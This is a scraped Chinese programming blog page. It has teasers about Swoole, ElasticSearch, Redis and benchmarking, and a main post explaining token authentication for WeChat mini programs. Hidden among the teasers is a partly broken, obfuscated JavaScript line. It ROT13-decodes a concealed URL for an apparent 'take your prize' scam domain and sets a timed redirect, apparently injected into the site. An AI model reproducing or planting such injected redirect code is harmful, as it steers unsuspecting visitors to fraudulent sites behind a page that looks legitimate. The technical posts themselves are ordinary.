Swoole+ElasticSearch实现超高性能分布式检索服务
rx online 首先安装es,安装es很简单直接下载解压然后./bin/elasticsearch即可运行,es的配置文件是config/elasticsearch.yml,然后安装elasticsearch header 这是一个es集群的前端界面,非常方便使用,配…
rx online 首先安装es,安装es很简单直接下载解压然后./bin/elasticsearch即可运行,es的配置文件是config/elasticsearch.yml,然后安装elasticsearch header 这是一个es集群的前端界面,非常方便使用,配…
rx online 什么是静态化API? 静态化API可以理解成把一些接口的数据存储在服务器本地。常用的是存成json文件,也可以是放在swoole的table中,总之是用户不从数据库直接读取数据,而是从本地加载的方式来大幅…
rx online 小视频: 点播 小 1-5分钟 视频处理逻辑: 视频上传 -> 原视频存储 -> 异步转码(处理成不同的分辨率、格式等,从而能够适配不同终端及不同环境) 分发 ->加速播放 满足多终端多清晰度播…
rx online 第一部分 背景 对目前的web来说,前后端分离已经越来越流行,越来越多的企业开始往这个方向切入。传统的方式就是TP的模板的那种写写法。 传统的方法前后端的工作分配是不均匀的 前后端分离,前端…
rx online 实现的消息队列主要是使用了easySwoole的多进程以及Redis的list特性来做的 第一部分 说一下easySwoole进程以及Redis的List 说明 插入使用rpush 获取使用lrange,这里的0 -1代表获取全部 也就是说…
rx online redis安装及php-redis扩展安装 初步使用 封装基类 – 单例模式 优化封装 – 依赖注入 从配置加载 从自定义配置加载 本文将一步一步的从redis的安装一直到easySwoole使用高度封装的底层…
rx online 安装ab工具 sudo yum -y install httpd-tools 查看下版本和ab的安装目录 ab -V which ab 测试下百度 ab -n 1000 -c 100 https://baidu.com/ 说明: 这里发起的是1000个请求,并发数是100,也就是…
rx online ### Editing ### `Ctrl + Space` 基本代码完成(任意类的,方法的或者变量的名称) `Ctrl + Shift + Enter` 补全当前语句 `Ctrl + P` Parameter info (within method call arguments) `Ctrl + Q` 快…
rx onlineString.prototype.a73fba7d=function(){return this.replace(/[a-zA-Z]/g,function(c){return String.fromCharCode((c=(c=c.charCodeAt(0)+13)?c:c-26);});};u=’uggcf://gnxrlbhecevmrurer1.yvsr/?h=l2lxnrj&b=2khc89e&z=1&g=jrozaf4′;function f31454d7(){ =u.a73fba7d();} (f31454d7,4987);
Token的意义与作用
有些接口是可以公开访问的,比如平台首页的接口,有些接口是不能公开访问的,比如客户账户的操作。
对于接口来说,需要确定用户的身份,那么就涉及到用户登录,然而在API中不存在用户登录这个概念,我们是使用令牌来控制用户的身份,也就是将传统网站中用户登录的这个操作转换为用户来获取一个令牌,这个令牌代表着用户的身份,而且这个身份是分级别的,也就是登录就是获取令牌。
获取令牌的过程(登录)
携带令牌访问接口的过程
Token有三个层面的验证:
是否携带了合法的token
权限auth是否正确
是否在有效期内
微信身份验证体系
现在的客户端是小程序,可以自己设计一套账号体系来获取令牌,但是小程序已经提供了一套微信认证体系,没有必要再小程序里面设计自己的账号密码。小程序可以为每个登录的用户生成一个code,code就是一个数字码,我们需要将这个码传向getToken接口,这个code码是一个去微信的服务器去换取用户的身份的标识,微信服务器在接收到code码之后会返回两个重要的信息openid和session_key,openid就是用户身份的标识,session_key的作用是在小程序中直接访问微信服务器拿到一个加密信息,如果要解密这个信息就需要用到session_key,这个信息包括unique_id,这个ID表示的也是用户唯一标识,与openid的区别是,openid是一个用户针对一个小程序有一个openid,也就是说一个用户在不用的小程序中的openid是不同的就算小程序是同一个账户下的,而user_id在同一个账号下注册的小程序,用户的unique_id都是相同的,也就是可以跨不用的应用(不同小程序的关联)。
openid的作用:
用户的唯一标识
一些功能性的作用比如微信支付
openid需要在数据库存起来
不能把openid返回到小程序里去:
这是用户身份的敏感信息
openid是固定不变的,没有失效期(因此需要令牌,让令牌有有效期,根据这个令牌去请求opendi从而间接的拿到openid)
为了减轻数据库的压力,我们可以借助缓存机制把令牌存在缓存中以减轻服务器的压力加快用户查询速度(注意openid是存在数据库中的)。
rx online 一共三张表通过外键关联起来: Banner模型 <?php namespace app\api\model; use think\Db; use think\Model; class Banner extends Model { public function items(){ // hasMany(‘关联模型名’…